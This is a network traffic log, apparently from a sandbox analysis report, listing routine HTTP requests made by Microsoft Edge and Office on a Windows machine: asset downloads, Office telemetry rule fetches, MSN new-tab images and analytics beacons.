Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1730786365&P2=404&P3=2&P4=T4sOMIn3o8C%2fSqZm4oU891EXYnSyw4viMlBy%2fkvfV4mmtfr3TdBU6YQsenmCxcSGE%2fBCIRCxCCUntxQF9c2yyw%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: UfOYo6yXhh0AvrJbn2w1O9Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=082392D97AE764340DA987FE7BEF6550&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=e1ef4011fe9c4470a54bb7ee52ee4a21 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=082392D97AE764340DA987FE7BEF6550; _EDGE_S=F=1&SID=1ED76538EB496C8B2564701FEA236DD8; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msMCf.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB14D0jG.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyO5.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b?rn=1730181570259&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=082392D97AE764340DA987FE7BEF6550&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msB1O.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1730181570259&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=bfe00f3163ab4b7d893198e3cbe5ca88&activityId=bfe00f3163ab4b7d893198e3cbe5ca88&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=082392D97AE764340DA987FE7BEF6550; _EDGE_S=F=1&SID=1ED76538EB496C8B2564701FEA236DD8; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=082392D97AE764340DA987FE7BEF6550&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=bf77de1ad285441bcfc42d4d2b9b44ae HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=082392D97AE764340DA987FE7BEF6550; _EDGE_S=F=1&SID=1ED76538EB496C8B2564701FEA236DD8; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /b2?rn=1730181570259&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=082392D97AE764340DA987FE7BEF6550&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1B9829b9a9fd67a5f0b7b741730181571; XID=1B9829b9a9fd67a5f0b7b741730181571
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
